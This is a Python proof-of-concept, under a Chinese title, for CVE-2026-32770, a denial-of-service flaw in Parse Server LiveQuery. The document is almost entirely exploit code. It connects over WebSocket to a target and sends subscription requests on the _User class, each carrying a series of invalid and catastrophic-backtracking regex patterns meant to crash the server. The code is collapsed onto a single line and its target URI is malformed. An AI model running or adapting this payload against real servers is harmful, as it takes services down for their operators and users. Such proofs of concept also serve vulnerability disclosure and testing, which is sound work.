CVE-2026-32770: Parse Server LiveQuery拒绝服务漏洞

import asyncio import websockets import json async def exploit_cve_2026_32770(): """ PoC for CVE-2026-32770: Parse Server LiveQuery DoS via invalid regex This PoC demonstrates sending a subscription with an invalid regex pattern that can crash the Parse Server. """ # WebSocket connection URI for Parse Server LiveQuery uri = "wss://target-server:parse" # Replace with actual target # Invalid regex patterns that can cause ReDoS or crash invalid_regex_patterns = [ "*", # Quantifier without target "+", # Quantifier without target "?", # Quantifier without target "(*SKIP)(*FAIL)", # PCRE specific pattern "([a-z]?){1,1000}", # Potential ReDoS pattern "((a+)+)+", # Classic ReDoS pattern "(?=a+)*", # Nested quantifier ")(", # Unbalanced parentheses "*+", # Possessive quantifier without target "(?*)", # Invalid quantifier ] for pattern in invalid_regex_patterns: try: async with websockets.connect(uri) as websocket: # Subscribe request with invalid regex subscribe_request = { "op": "subscribe", "requestId": 1, "query": { "className": "_User", "where": { "email": { "$regex": pattern } } } } await websocket.send(json.dumps(subscribe_request)) print(f"[+] Sent subscribe request with pattern: {pattern}") # Wait for response response = await asyncio.wait_for(websocket.recv(), timeout=5) print(f"[*] Response: {response}") except Exception as e: print(f"[!] Error with pattern {pattern}: {e}") if __name__ == "__main__": asyncio.run(exploit_cve_2026_32770())